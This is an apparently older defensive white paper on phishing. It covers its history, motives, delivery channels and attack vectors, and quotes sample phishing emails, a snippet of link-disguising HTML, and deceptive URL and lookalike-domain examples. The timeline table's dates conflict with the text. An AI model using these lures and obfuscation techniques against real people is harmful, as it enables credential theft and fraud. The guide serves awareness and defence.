The Phishing Guide
Understanding & Preventing Phishing Attacks

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Abstract

Since 1996, phishers have made use of an increasing array of delivery systems in order to fool their victims into handing over confidential and personal information. Even after more than 10 years of phishing attacks and much publicity, phishing scams are still hugely profitable to the professionals who run them.

While phishers develop evermore sophisticated attack vectors, businesses continue to flounder to protect their customers’ personal data. Customers have become wary of “official” e-mail and question the integrity of the websites they now connect to as their confidence and trust wanes.

With various governments and industry groups battling their way to prevent spam, organizations can in the meantime take a proactive approach in combating the phishing threat. By understanding the tools and techniques used by these professional criminals, and analyzing flaws in their own perimeter security or applications, organizations can prevent many of the most popular and successful phishing attack vectors.

This updated paper covers the technologies and security flaws phishers exploit to conduct their attacks, and provides detailed vendor-neutral advice on what organizations can do to prevent future attacks. Armed with this information, security professionals and customers can work to protect themselves against the next phishing scam to reach their inboxes.

Notes on Updates to this Guide

While phishing has been in existence for over 10 years, the vectors used by these professional criminals have continued to improve and become more successful. Since the original “Phishing Guide” was published mid-2004, there have been many advances in both attacks and defenses. This updated Guide covers the latest techniques and trends in phishing and anti-phishing, and includes updated information on the following:

- The Purpose of Phishing – changes over recent years in the motivations of the phishers has meant that payloads have become increasingly more sophisticated with broader reaching consequences.
- Faking Trust Credentials – the abuse of graphical validation processes typically embedded within websites to supplement classical “padlock” web browser visuals.
- Gaining Trust via E-mail – e-mail continues to be the most popular initial vector for phishers. The content used by phishers within their e-mails to fool their victims is examined in greater detail.
Section 1: A Case for Prevention

1.1. A 21st Century Scam

Throughout the centuries, identity theft has always been high on a criminal's agenda. By gaining access to someone else's personal data and impersonating them, a criminal may pursue a crime in near anonymity. In today's 21st century world, electronic identity theft has never been easier.

The name on the (electronic) street is phishing; the process of tricking or socially engineering an organization's customers into imparting their confidential information for nefarious use. Riding on the back of mass-mailings such as spam, or using bots to automatically target victims, any online business may find phishers masquerading as them and targeting their customer base. Organizational size doesn't matter; the quality of the personal information reaped from the attack has a value all in itself to the criminals.

Phishing scams have been escalating in number and sophistication with every month that goes by. A phishing attack today now targets audience sizes that range from mass-mailings to millions of e-mail addresses around the world, to highly targeted groups of customers that have been enumerated through security faults in small clicks-and-mortar retail websites. Using a multitude of attack vectors ranging from man-in-the-middle attacks and key loggers, to complete re-creation of a corporate website, phishers can easily fool customers into submitting personal, financial and password data. While spam was (and continues to be) annoying, distracting and burdensome to all its recipients, phishing has already shown the potential to inflict serious losses of data and direct losses due to fraudulent currency transfers.

With various experts extolling proprietary additions or collaborative improvements to core message delivery protocols such as SMTP, organizations may feel that they must wait for third-party fixes to become available before finding a solution to phishing. While the security failures within SMTP are indeed a popular exploit vector for phishers, there is an increasing array of communication channels available for malicious message delivery. As with most criminal enterprises, if there is sufficient money to be made through phishing, other message delivery avenues will be sought – even if the holes in SMTP are eventually closed (although this is unlikely to happen within the next 3-5 years).
While many high profile financial organizations and large Internet businesses have taken some steps towards increasing their customers’ awareness, most organizations have done very little to actively combat phishers. By taking a hands-on approach to their security, organizations will find that there are many tools and techniques available them to combat phishing.

With the high fear-factor associated with possible phishing scams, organizations that take a proactive stance in protecting their customers’ personal information are likely to benefit from higher levels of trust and confidence in their services. In an era of shifting customer allegiances, protection against phishing scams may just become a key deciding factor in gaining their loyalty.

1.2. Phishing History

The word “phishing” originally comes from the analogy that early Internet criminals used e-mail lures to “phish” for passwords and financial data from a sea of Internet users. The use of “ph” in the terminology is partly lost in the annals of time, but most likely linked to popular hacker naming conventions such as “phreaks” which traces back to early hackers who were involved in “phreaking” – the hacking of telephone systems.

The term was coined in the 1996 timeframe by hackers who were stealing America Online (AOL) accounts by scannning passwords from unsuspecting AOL users. The popularized first mention on the Internet of phishing was made in the alt.2600 hacker newsgroup in January 1996; however, the term may have been used even earlier in the popular hacker newsletter “2600”.

By 1996, hacked accounts were called "phish", and by 1997 phish were actively being traded between hackers as a form of electronic currency. There are instances whereby phishers would routinely trade 10 working AOL phish for a piece of hacking software or warez (stolen copyrighted applications and games). The earliest media citation referring to phishing wasn’t made until March 1997:
The scam is called 'phishing' — as in fishing for your password, but spelled differently — said Tatiana Gau, vice president of integrity assurance for the online service.

—Ed Stansel, "Don't get caught by online 'phishers' angling for account information," Florida Times-Union, March 16, 1997

Over time, the definition of what constitutes a phishing attack has blurred and expanded. The term phishing covers not only obtaining user account details, but also includes access to personal and financial data. What originally entailed tricking users into replying to e-mails for passwords and credit card details, has now expanded into fake websites, installation of Trojan horse key-loggers and screen captures, and man-in-the-middle data proxies – all delivered through any electronic communication channel.

Due to the phishers high success rate, an extension to the classic phishing scam now includes the use of fake jobsites or job offers. Applicants are enticed with the notion of making a lot of money for very little work – just creating a new bank account, taking the funds that have been transferred into it (less their personal commission) and sending it on as an international money order - classic money laundering techniques.

![The evolution of “phishing”](image-url)

Figure 1: The evolution of “phishing”.

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<thead>
<tr>
<th>Year</th>
<th>Description</th>
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<tr>
<td>1994</td>
<td>Start of Phishing</td>
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<td>1995</td>
<td>Phishers start using fake websites</td>
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<tr>
<td>1996</td>
<td>Phishers begin using e-mail to gain user's trust</td>
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<tr>
<td>1997</td>
<td>Phishers use social engineering to trick users</td>
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Section 2: The Phishing Threat

2.1. Social Engineering Factors

Phishing attacks rely upon a mix of technical deceit and social engineering practices. In the majority of cases, the phisher must persuade the victim to intentionally perform a series of actions that will provide access to confidential information.

Communication channels such as e-mail, web-pages, IRC and instant messaging services are popular. In all cases, the phisher must impersonate a trusted source (such as the helpdesk of their bank, automated support response from their favorite online retailer, etc.) for the victim to believe.

In 2007, the most successful phishing attacks continue to be initiated via e-mail with the phisher impersonating the sending authority (such as spoofing the source e-mail address and embedding appropriate corporate logos within the e-mail). For example, the victim receives an e-mail supposedly from support@mybank.com (address is spoofed) with the subject line ‘security update’, requesting them to follow the URL www.mybank-validate.info (a domain name that belongs to the attacker – not the bank) and provide their banking PIN number.

However, the phisher has many other nefarious methods of social engineering victims into surrendering confidential information. In the real example below, the e-mail recipient is likely to have believed that their banking information has been used by someone else to purchase unauthorized services. The victim would then attempt to contact the e-mail sender to inform them of the mistake and cancel the transaction. Depending upon the specifics of the scam, the phisher would ask (or provide a “secure” online web page) for the recipient to type-in their confidential details (such as address, credit card number and security code, etc.), to reverse the transaction – thereby verifying the live e-mail address (and potentially selling this information on to other spammers) and also capturing enough information to complete a real transaction.
Subject: Web Hosting - Receipt of Payment
QdRvzxGehwi9xaxdamLRA1e3NM1rL

Dear friend,

Thank you for your purchase!
This message is to inform you that your order has been received and will be processed shortly.

Your account is being processed for $79.85, for a 3 month term. You will receive an account setup confirmation within the next 24 hours with instructions on how to access your account. If you have any questions regarding this invoice, please feel free to contact us at tekriter.com. We appreciate your business and look forward to a great relationship!

Thank You,
The Tekriter.com Team

ORDER SUMMARY
--------------
Web Hosting............. $29.85
Setup................... $30.00
Domain Registration..... $20.00
Sales Date.............. 08/04/2004
Domain............... nashshanklin.com
Total Price............. $79.85
Card Type.............. Visa

2.1.1. The Purpose of Phishing

The scope of what constitutes a phishing attack has changed over the last ten years. The original purpose of phishing was to acquire the login credentials of other customers using the same subscription service.

For a long time, phishers focused upon theft of login credentials using e-mail as both the delivery and acquisition method – i.e. the phisher sends out an e-mail requesting the recipient to e-mail them back the necessary information. As the recipients of the e-mails became wary of these faked messages, the phishers switched to other delivery mechanisms with increasingly more complex return methods.
Today phishers continue to make use of e-mail, but also utilize message boards, web banner advertising, instant chat (IRC and instant messenger) and more recently Voice over IP (VoIP) to deliver their persuasive message and convince victims to either respond with their credentials or drive them to a more sophisticated automated credential stealing mechanism.

The most popular mechanism for acquiring the victim’s information is now through the use of websites designed to represent the real organization from which the fake message came from. However, in the last few years phishers have also resorted to using exploit material and attachments to deliver specialized payloads such as key loggers, spyware, rootkits and bots etc.

Figure 2: The methods used in phishing.
The improvement in delivery techniques and access to more sophisticated payloads means that the motivations and financial rewards for phishing have changed and will continue to evolve in the future. The most common purpose of phishing scams include:

- **Theft of login credentials** – typically credentials for accessing online services such as eBay, Hotmail, etc. More recently, the increase in online share trading services has meant that a customer’s trading credentials provide an easy route for international money transfers.

- **Theft of banking credentials** – typically the online login credentials of popular high-street banking organizations and subsequent access to funds ready for transfer.

- **Observation of Credit Card details** – access to a steady stream of credit card details (i.e. card number, expiry and issue dates, cardholder’s name and credit card validation (CCV) number) has immediate value to most criminals.

- **Capture of address and other personal information** – any personal information, particularly address information, is a highly saleable and in constant demand by direct marketing companies.

- **Theft of trade secrets and confidential documents** – through the use of spear phishing techniques, phishers are targeting specific organizations for the purpose of industrial espionage and acquisition of proprietary information.

- **Distribution of botnet and DDoS agents** – criminals use phishing scams to install special bot and DDoS agents on unsuspecting computers and add them to their distributed networks. These agents can be rented to other criminals.

- **Attack Propagation** – Through a mixture of spear phishing and bot agent installations, phishers can use a single compromised host as an internal “jump point” within the organization for future attack.

### 2.1.2. Faking Trust Credentials

In an effort to combat phishing and other scams that utilize fraudulent websites as the primary method of obtaining a customer’s credentials, many commercial organizations have developed third-party validation services. These services are typically represented by a graphic within the webpage which links back to a trusted authority for validation and is most often supplemental to any SSL certificates present on the legitimate site.
Because these supplemental validation processes typically make use of simple graphics and popup messages, they are trivial to fake. The incorporation of faked graphical authentication tokens is becoming increasingly common as customers unwittingly trust this flawed validation process. In essence, use of graphical validation tokens such as these is as trustworthy as the paper they are printed upon.

For example, phishers are already making use of common graphics such as the following within their fake sites:

![Figure 3: Typical graphical "trust" and "secure" validation tokens embedded within a website.](image)

These graphical tokens are usually supported through links to the third-party validation authority which presents some version of "this site is trusted" message to customers who click on them. The messages are similarly easy to fake and the phisher can instill a higher level of customer trust in their faked website.

For example, the following screenshot is of a legitimate response to a customer clicking upon a “VeriSign Secured” graphic. A phisher could easily fake a similar response within a popup window that included this content as an image – complete with a graphical HTTPS URL at the top and a padlock in the bottom-right corner.

![Figure 4: A “VeriSign Secured” validation response.](image)
Other systems that make use of client-side script components to present a validation of the websites credentials are similarly easy to fake during a phishing attack. For instance, Comodo’s IdAuthority™ makes use of a graphic in the bottom-right of the page which causes a JavaScript routine to overlay validation information when the customer moves their mouse over it.

2.2. Phishing Message Delivery

2.2.1. E-mail and Spam

Phishing attacks initiated by e-mail are the most common. Using techniques and tools used by spammers, phishers can deliver specially crafted e-mails to millions of legitimate “live” e-mail addresses within a few hours (or minutes using distributed Trojan networks). In many cases, the lists of addresses used to deliver the phishing e-mails are purchased from the same sources as conventional spam.
Utilizing well-known flaws in the common mail server communication protocol (SMTP), phishers are able to create e-mails with fake "Mail From:" headers and impersonate any organization they choose. In some cases, they may also set the “RCPT To:" field to an e-mail address of their choice (one where they can pick up e-mail); whereby any customer replies to the phishing e-mail will be sent to them. The growing press coverage over phishing attacks has meant that most customers are very wary of sending confidential information (such as passwords and PIN information) by e-mail – however, it still successful in many cases.

Techniques used within Phishing E-mails

In order not to fall victim to a phishing e-mail, it is important to understand the techniques currently employed by phishers to fool their potential victims:

- **Official looking and sounding e-mails** -
  By making use of correct syntax and structure, the phisher has learned to instill trust in their message. In the early years of phishing the e-mails were written poorly and were often easily identified as fake. Today these e-mails are often impossible to tell from legitimate communications from the target organization. In many cases, the e-mail may in fact be a copy of a legitimate corporate e-mail with minor URL changes.

- **HTML based e-mail used to obfuscate destination URL information** -
  Since HTML is an interpreted language, it is possible to obfuscate the destination URL through a number of techniques. For example:
  - Use a text color the same as the background to hide suspect parts of the URL.
  - In HTML the `<a href=...>` tag specifies the destination URL, however it can be followed with any textual string, and is usually terminated with a `</a>`. A common use is to use a legitimate URL as the textual string, while the actual hyperlink points to the phishing URL.
  - The inclusion of graphics to look like a text message or URL.
  - The HTML-based message can be configured to look exactly like a plain text formatted e-mail.

- **Attachments to e-mails** -
  Some phishing e-mails may include attachments that contain executable content which is referenced within the text of the e-mail. Typically there will be instructions to open the “trusted” attachment in order to verify some transactional detail. These attachments may install Trojan keyloggers or other dangerous spyware.
• Anti spam-detection inclusions -
  Since many phishing e-mails are sent in bulk to victims based
  upon e-mail addresses bought or harvested from multiple sources,
  they are typically identified as spam by anti-spam filtering
  technologies. To prevent this, many newer phishing e-mails
  include additional text, SMTP headers and references designed to
  bypass these filters. Examples of anti spam-detection inclusions
  with the phishing e-mails include:
  • The inclusion of nonsense sentences at the bottom of the e-
    mail (maybe hidden using colored fonts) designed to affect
    heuristic anti-spam engines, such as: "enull champlain the
    photophilic ceteras twineth as aprovar the wilmont as
    ancing was miswarts in clusia, resectable of hybris to
    cyanochroic"
  • The use of deliberate spelling mistakes and spacing characters
    inside key words, such as: Proven and c-ertified by e-xperts
    and d-octors
  • Faked prior anti-spam inspection headers - X-PMFmatch: Unmatched

• Fake postings to popular message boards and mailing lists -
  The ability to post anonymous e-mails to popular message boards
  enables the phisher to reach a wide audience without having to
  individually e-mail each recipient. Phishing e-mails using this
  method are typically targeted at a specific audience, but will use
  common obfuscation methods to hide the intent of the e-mail.

• Use of fake “Mail From:” addresses and open mail relays -
  A common practice is to use fake “Mail From:” addresses in the
  phishing e-mail to fool the recipient into thinking that the e-mail
  has come from a legitimate source. The STMP protocol allows
  senders to specify any address they wish.

  Open mail relays are also commonly employed to obfuscate the
  source of the phishing e-mail – especially if the open relay
  belongs to the organization the e-mail is pretending to have come from.

• Use of font differences -
  Fonts play an important part in the phisher’s armory when crafting
  their e-mail. One of the most common vectors is to use a font that
  causes lowercase and uppercase characters to be used and
  appear as a different character – often used to bypass anti-spam
  keyword filters. For instance:
  • The substitution of uppercase “i” for lowercase “L”, and the
    number zero for uppercase “O”.
  • The use of different language fonts for characters which look
    like the language of the target audience such as the use of the
    Cyrillic “о” for the Latin “о”
• Use of local language -
Over recent years, there has been a greater emphasis on using the local language of the target audience. Phishers who target the customers of a particular organization now realize that English (even U.S. English) may not be sufficient, and now construct their e-mails using the appropriate language – for example, using French to target banking customers in Southern Switzerland.

• Use of credit card digits –
An increasingly popular phishing confidence scam is to use the first four digits of a credit card number within the e-mail. Most people are familiar with seeing part of their credit card number displayed for confirmation – typically the last four digits with three remaining numbers obscured or starred out. Many potential victims do not realize that the first four digits are not unique to their card, but are linked to a particular banking or financial entity. For example, if the phisher is targeting the customers of a bank such as Barclays Bank PLC, they may use “4929 **** **** ****” as confirming prior knowledge of the victim's credit card.

A Real-life Phishing Example

The following is an analysis of a phishing e-mail sent to many thousands of Barclays banking customers in February 2006. While the language sophistication is fairly high, there are a number of grammar nuances that would lead a native English reader to query the authenticity of the e-mail (probably due to the writer not being a native English speaker). Unfortunately, many recipients were still fooled by it.

For recipients using e-mail clients that render HTML e-mails correctly (such as Microsoft Outlook and Outlook Express), the e-mail looked like the following:

Figure 6: Fake e-mail from Barclays Bank sent by the phisher.
Things to note with this particular attack:

- The e-mail was sent in HTML format (some attacks use HTML e-mails that are formatted to look like they are plain text – making is much harder for the recipient to identify the hidden “qualities” of the e-mail’s dynamic content).

- Several hints that the e-mail is not quite right due to the use of language:
  - The embedded date of the e-mail “Février 28, 2006” – French for February.
  - Spelling mistakes such as “reciept” and “commitement”.
  - The e-mail is addresses “Dear Customer”, yet the next sentence refers to “clients”. It is not uncommon for phishers to copy content from multiple legitimate e-mails and paste them into one e-mail.
  - Bad grammar, such as “…will keep your investments in Safety”, are strongly suggestive of a non-native English author.

- Within the HTML-based e-mail, the URL link: https://update.barclays.co.uk/olb/p/LoginMember.do in fact points to an escape-encoded version of the following URL: http://www.casa.lu/basic/l/ibank.barclays.co.uk/olb/q/LoginMember.do/index.htm
  This was achieved using standard HTML coding such as:

```
<a href="http://www.casa.lu/basic/l/ibank.barclays.co.uk/olb/q/LoginMember.do/index.htm"><font>https://update.barclays.co.uk/olb/p/LoginMember.do</font></a></font></b>
```

- The recipient is socially engineered to respond to the directives in the e-mail as soon as possible with the “We would have no choice but to suspend inactive accounts under 48 hours of your receipt of this e-mail notifier.” Since many phishing websites are identified and shutdown within a day or two, the phishers are keen to ensure that recipients respond before their website is removed.
Once the e-mail recipient clicks on the link contained within the phishing e-mail, they are presented with a copy of the Barclays website. Key points to note about this attack:

- The phisher provided a mirror copy of the Barclays website and hosted it on their server www.casa.lu. Although customers are expected to authenticate themselves over a secure HTTPS channel, many victims obviously did not check the URL at the top of the browser screen, nor look for the standard padlock (representing a secure link).
There was one slight change to the authentication process. In “Step 2” the fake Barclays website asks the victim to supply their “memorable word”:

However, this is not correct. Barclays Bank had implemented an anti-keylogger function that required customers to only supply two randomly selected letters from their memorable word, not the whole word, via mouse-operated drop-down boxes:

The phishers most likely wished to capture the whole word in a single go and it is likely that only the most vigilant customers would have identified this unexpected change as a security breach.

Having supplied all the necessary authentication details, the customer is thanked for “updating” account details, and is automatically redirected to the legitimate Barclays website. Not all phishing scams are so obvious. Consider the following e-mail sent to many thousands of Westpac banking customers in May 2004. While the language sophistication is poor compared to the previous Barclays Bank e-mail, many recipients were still fooled.

Subject: Westpac official notice

Westpac
Australia’s First Bank

Dear client of the Westpac Bank,

The recent cases of fraudulent use of clients accounts forced the Technical services of the bank to update the software. We regret to acknowledge, that some data on users accounts could be lost. The administration kindly asks you to follow the reference given below and to sign in to your online banking account:


We are grateful for your cooperation.

Please do not answer this message and follow the above mentioned instructions.

Copyright © 2004 – Westpac Banking Corporation ABN 33 007 457 141.
Things to note with this particular attack:

- Lower-case L's have been replaced with upper-case i's. This is used to help bypass many standard anti-spam filters, and in most fonts (except for the standard Courier font used in this example) fools the recipient into reading them as L's.

- Hidden within the HTML e-mail were many random words. These words were set to white (on the white background of the e-mail) and so were not directly visible to the recipient. The purpose of these words was to help bypass standard anti-spam filters.

- Just like the Barclays Bank HTML-based e-mail, the URL link https://olb.westpac.com.au/ib/default.asp in fact points to a escape-encoded version of the following URL: http://olb.westpac.com.au.userdll.com:4903/ib/index.htm

- The phishers used a sub-domain of USERDLL.COM in order to lend the illusion of it really being the Westpac banking site. Many recipients were likely to be fooled by the olb.westpac.com.au.userdll.com.

- The non-standard HTTP port of 4903 can be attributed to the fact that the phishers' fake site was hosted on a third-party PC that had been previously compromised.

- Recipients who clicked on the link were then forwarded to the real Westpac application. However, a JavaScript popup window containing a fake login page was presented to them. Expert analysis of this JavaScript code identified that some code segments had been used previously in another phishing attack – one targeting HSBC.

- This fake login window was designed to capture and store the recipient's authentication credentials. An interesting aspect to this particular phishing attack was that the JavaScript also submitted the authentication information to the real Westpac application and forwarded them on to the site. Therefore, victims were unaware that their initial connections had been intercepted and their credentials captured.

2.2.2. Web-based Delivery

The most popular method of conducting phishing attacks is through malicious website content. This content may be included within a website operated by the phisher, or a third-party site hosting some embedded content.
Web-based delivery techniques include:

- The inclusion of HTML disguised links (such as the one presented in the Westpac e-mail example) within popular websites, and message boards.
- The use of third-party supplied, or fake, banner advertising graphics to lure customers to the phisher’s website.
- The use of web-bugs (hidden items within the page – such as a zero-sized graphic) to track a potential customer in preparation for a phishing attack.
- The use of pop-up or frameless windows to disguise the true source of the phisher’s message.
- Embedding malicious content within the viewable web page that exploits a known vulnerability within the customer’s web browser software and installs software of the phisher’s choice (such as key-loggers, screen-grabbers, back-doors and other Trojan horse programs).
- Abuse of trust relationships within the customer’s web browser configuration to make use of site-authorized scriptable components or data storage areas.
- Disguising the true source of the fake website by exploiting cross-site scripting flaws in a trusted website.

**Fake Banner Advertising**

Banner advertising is a very simple method phishers may use to redirect an organization’s customer to a fake website and capture confidential information. Using copied banner advertising, and placing it on popular websites, all that is necessary are some simple URL obfuscation techniques to disguise the final destination.
With so many providers of banner advertising services to choose from, it is a simple proposition for phishers to create their own online accounts (providing a graphic such as the one above and a URL of their choice) and have the service provider automatically distribute it to many of their managed websites. Using stolen credit cards or other banking information, phishers can easily conceal their identities from law enforcement agencies.

2.2.3. IRC and Instant Messaging

New on the phisher’s radar, IRC and Instant Messaging (IM) forums are likely to become a popular phishing ground. As these communication channels become more popular with home users, and more functionality is included within the software, specialist phishing attacks will increase.

As many IRC and IM clients allow for embedded dynamic content (such as graphics, URLs, multimedia includes, etc.) to be sent by channel participants, it is a trivial task to employ many of the phishing techniques used in standard web-based attacks.

The common usage of bots (automated programs that listen and participate in group discussions) in many of the popular channels, means that it is very easy for a phisher to anonymously send semi-relevant links and fake information to would-be victims.

2.2.4. Trojaned Hosts

While the delivery medium for the phishing attack may be varied, the delivery source is increasingly becoming home PC’s that have been previously compromised. As part of this compromise, a Trojan horse program has been installed which allows phishers (along with spammers, warez pirates, DDoS bots, etc.) to use the PC as a message propagator. Consequently, tracking back a phishing attack to an individual initiating criminal is extremely difficult.

It is important to note that the installation of Trojan horse software is on the increase, despite the efforts of large anti-virus companies. Many malicious or criminal groups have developed highly successful techniques for tricking home users into installing the software, and now operate large networks of Trojan deployments (networks consisting of thousands of hosts are not uncommon) capable of being used as phishing e-mail propagators or even hosting fraudulent websites.
That is not to say that phishers are not capable of using Trojan horse software against a customer specifically to observe their confidential information. In fact, to harvest the confidential information of several thousand customers simultaneously, phishers must be selective about the information they wish to record or be faced with information overload.

**Information Specific Trojans**

Early in 2004, a phisher created a custom key-logger Trojan. Embedded within a standard HTML message (both in e-mail format and a few compromised popular web sites) was code that attempted to launch a Java applet called “javault.zip”. Although appearing to be a binary zip file, it was in fact an executable file that would be automatically executed in client browsers that had lax security permissions.

The Trojan key-logger was designed specifically to capture all key presses within windows with the titles of various names including: commbank, Commonwealth, NetBank, Citibank, Bank of America, e-gold, e-bullion, e-Bullion, evocash, EVOCash, EVOcash, intgold, INTGold, paypal, PayPal, bankwest, Bank West, BankWest, National Internet Banking, cibc, CIBC, scotiabank and ScotiaBank.

### 2.2.5. VoIP Phishing

Vishing is the practice of leveraging IP-based voice messaging technologies (primarily Voice over Internet Protocol, or VoIP) to socially engineer the intended victim into providing personal, financial or other confidential information for the purpose of financial reward. The term “vishing” is derived from a combination of “voice” and “phishing.”

The use of landline telephony systems to persuade someone to perform unintended actions has existed since the birth of the telephone. Who didn’t make prank phone calls as a child? However, landline telephony services have traditionally terminated at a physical location known to the telephone company and could therefore be tracked back to a specific bill payer. The recent massive increase in IP telephony has meant that many telephone services can now start or terminate at a computer anywhere in the world. In addition, the cost of making a telephone call has dropped to a negligible amount.
This combination of factors has made it financially practical for phishers to leverage VoIP in their attacks. Vishing is expected to have a much higher success rate than other phishing vectors because:

- Telephone systems have a much longer record of trust than newer, Internet-based messaging
- A greater percentage of the population can be reached via a phone call than through e-mail
- There is widespread adoption and general acceptance of automated phone validation systems
- The telephone makes certain population groups, such as the elderly, more reachable
- Timing of message delivery can be leveraged to increase odds of success
- The telephone allows greater personalization of the social engineering message
- Increased use of call centers means that the population is more accepting of strangers who may have accents asking for confidential information.

2.2.6. Spear Phishing

Spear phishing describes a category of phishing attacks whose target is a particular company, organization, group or government agency. Contrasted with phishing attacks that make use of large address lists shared with spammers, spear phishers focus on a much smaller subset – often filtering public spam lists with their targets domain, scraping their targets public services for addresses (such as message boards, marketing collateral, etc.), or enumeration through more active means (such as dumpster diving, spam pinging, etc.). The most prized addresses being distribution lists such as all@targetcompany.com.

Once armed with a list of addresses specific to their quarry, the phishers send email that appear as though it may have come from the employer or someone who would normally send an email message to everyone within the organizational group (such as head of marketing and sales, the IT support team, the owner of the message board, etc.). In reality, the message sender information will have been faked (i.e. spoofed).
The contents of the message will vary with each attack, but will use any information the phisher can to personalize the scam to as specific a group as possible. The messages commonly focus upon requesting login credentials (such as user name and password) or entice their victims to open infected attachments.

Unlike normal phishing scams whose objective is to steal an individual’s online banking credentials, the spear phisher is most often seeking to gain access to the entire network of an organization. That said, it is not unheard of for spear phishers to target the users of a specific piece of software (such as members of a specific “clan” within World of Warcraft) and steal their login credentials.

2.2.7. Whaling

The adoption of the term ‘Whaling’ within phishing is fairly new and may have been derived from the use of ‘Whales’ within gambling to refer to big-time gamblers and high rollers, but most likely come from the colloquialism for “big fish”.

Regardless, Whaling describes the most focused type of phishing currently encountered by businesses or government – targeted attacks against groups of high-level executives within a single organization, or executive positions common to multiple organizations (such as the CTO or CFO).

In a whaling attack, the phisher focuses upon a very small group of senior personnel within an organization and tries to steal their credentials – preferably through the installation of malware that provides back-door functionality and keylogging.

By focusing on this small group, the phisher can invest more time in the attack and finely tune his message to achieve the highest likelihood of success. Note that these messages need not be limited to email. Some scams have relied upon regular postage systems to deliver infected media – for example, a CD supposedly containing evaluation software from a known supplier to the CIO, but containing a hidden malware installer.
2.3. Phishing Attack Vectors

For a phishing attack to be successful, it must use a number of methods to trick the customer into doing something with their server and/or supplied page content. There are an ever increasing number of ways to do this. The most common methods are explained in detail below, and include:

- Man-in-the-middle Attacks
- URL Obfuscation Attacks
- Cross-site Scripting Attacks
- Preset Session Attacks
- Observing Customer Data
- Client-side Vulnerability Exploitation

2.3.1. Man-in-the-middle Attacks

One of the most successful vectors for gaining control of customer information and resources is through man-in-the-middle attacks. In this class of attack, attackers situate themselves between the customer and the real web-based application, and proxy all communications between the systems. From this vantage point, attackers can observe and record all transactions.

This form of attack is successful for both HTTP and HTTPS communications. The customer connects to the attacker’s server as if it was the real site, while the attacker’s server makes a simultaneous connection to the real site. The attacker’s server then proxies all communications between the customer and the real web-based application server – typically in real-time.

In the case of secure HTTPS communications, an SSL connection is established between the customer and the attacker’s proxy (hence the attacker’s system can record all traffic in an unencrypted state), while the attacker’s proxy creates its own SSL connection between itself and the real server.

Figure 9: Man-in-the-middle attack structure
For man-in-the-middle attacks to be successful, the attacker must be able to direct the customer to the proxy server instead of the real server. This may be carried out through a number of methods:

- Transparent Proxies
- DNS Cache Poisoning
- URL Obfuscation
- Browser Proxy Configuration

**Transparent Proxies**

Situated on the same network segment or located on route to the real server (such as corporate gateway or intermediary ISP), a transparent proxy service can intercept all data by forcing all outbound HTTP and HTTPS traffic through itself. In this transparent operation, no configuration changes are required at the customer end.

**DNS Cache Poisoning**

“DNS Cache Poisoning” may be used to disrupt normal traffic routing by injecting false IP addresses for key domain names. For example, the attacker poisons the DNS cache of a network firewall so that all traffic destined for the MyBank IP address now resolves to the attacker’s proxy server IP address.

**URL Obfuscation**

Using URL obfuscation techniques, the attacker tricks the customer into connecting to their proxy server instead of the real server. For example, the customer may follow a link to http://www.mybank.com.ch/ instead of http://www.mybank.com/

**Browser Proxy Configuration**

By overriding the customer’s web-browser setup and setting proxy configuration options, an attacker can force all web traffic through to the nominated proxy server. This method is not transparent to the customer, and the customer may easily review their web browser settings to identify an offending proxy server.

In many cases, browser proxy configuration changes setting up the attack will have been carried out in advance of receipt of the phishing message.
2.3.2. URL Obfuscation Attacks

The secret to many phishing attacks is to get message recipients to follow a hyperlink (URL) to the attacker’s server without realizing that they have been duped. Unfortunately, phishers have access to an increasingly large arsenal of methods for obfuscating the final destination of the customer’s web request.

The most common methods of URL obfuscation include:

- Bad domain names
- Friendly login URLs
- Third-party shortened URLs
- Host name obfuscation
- URL obfuscation

**Bad Domain Names**

One of the most trivial obfuscation methods is through the purposeful registration and use of bad domain names. Consider the financial institute MyBank with the registered domain mybank.com and the associated customer transactional site http://privatebanking.mybank.com. The phisher could set up a server using any of the following names to help obfuscate the real destination host:

- http://mybank.privatebanking.com
• http://privatebanking.mybonk.com or even http://privatebanking.mybánk.com
• http://privatebanking.mybank.hackproof.com

It is important to note that as domain registration organizations move to internationalize their services, it is possible to register domain names in other languages and their specific character sets. For example, the Cyrillic “о” looks identical to the standard ASCII “o” but can be used for different domain registration purposes - as pointed out by a company who registered “microsoft.com” in Russia.

Finally, it is worth noting that even the standard ASCII character set allows for ambiguities such as upper-case “I” and lower-case “L”.

Friendly Login URLs

Many common web browser implementations allow for complex URLs that can include authentication information such as a login name and password. In general, the format is URL://username:password@hostname/path.

Phishers may substitute the username and password fields for details associated with the target organization. For example the following URL sets the username = mybank.com, password = ebanking and the destination hostname is evilsite.com.

http://mybank.com:ebanking@evilsite.com/phishing/fakepage.htm

This friendly login URL can successfully trick many customers into thinking that they are actually visiting the legitimate MyBank page. Because of its success, many current browser versions have dropped support for this URL encoding method.

Third-party Shortened URLs

Due to the length and complexity of many web-based application URLs – combined with the way URLs may be represented and displayed within various e-mail systems (such as extra spaces and line feeds into the URL) – third-party organizations have sprung up offering free services designed to provide shorter URLs.
Through a combination of social engineering and deliberately broken long or incorrect URLs, phishers may use these free services to obfuscate the true destination. Common free services include http://smallurl.com and http://tinyurl.com. For example:

Dear valued MyBank customer,

Our automated security systems have indicated that access to your online account was temporarily blocked on Friday 13th September between the hours of 22:32 and 23:46 due to repeated login failures.

Our logs indicate that your account received 2935 authentication failures during this time. It is most probable that your account was subject to malicious attack through automated brute forcing techniques (for more information visit http://support.mybank.com/definitions/attacks.aspx?type=bruteforce).

While MyBank were able to successfully block this attack, we would recommend that you ensure that your password is sufficiently complex to prevent future attacks. To log in and change your password, please click on the following URL:


If this URL does not work, please use the following alternative link which will redirect to the full page -

http://tinyurl.com/4outd

Best regards,
MyBank Customer Support

Host Name Obfuscation

Most Internet users are familiar with navigating to sites and services using a fully qualified domain name, such as www.evilsite.com. For a web browser to communicate over the Internet, this address must be resolved to an IP address, such as 192.134.122.07. This resolution of IP address to host name is achieved through domain name servers. A phisher may wish to use the IP address as part of a URL to obfuscate the host and possibly bypass content filtering systems, or hide the destination from the end user.

For example, the following URL:

http://mybank.com:ebanking@evilsite.com/phishing/fakepage.htm

could be obfuscated such as:

http://mybank.com:ebanking@210.134.161.35/login.htm
While some customers are familiar with the classic dotted-decimal representation of IP addresses (000.000.000.000), most are not familiar with other possible representations. Using these other IP representations within an URL, it is possible obscure the host destination even further from regular inspection.

Depending on the application interpreting an IP address, there may be a variety of ways to encode the address other than the classic dotted-decimal format. Alternative formats include:

- **Dword** - meaning double word because it consists essentially of two binary "words" of 16 bits; but it is expressed in decimal (base 10),
- **Octal** - address expressed in base 8, and
- **Hexadecimal** - address expressed in base 16.

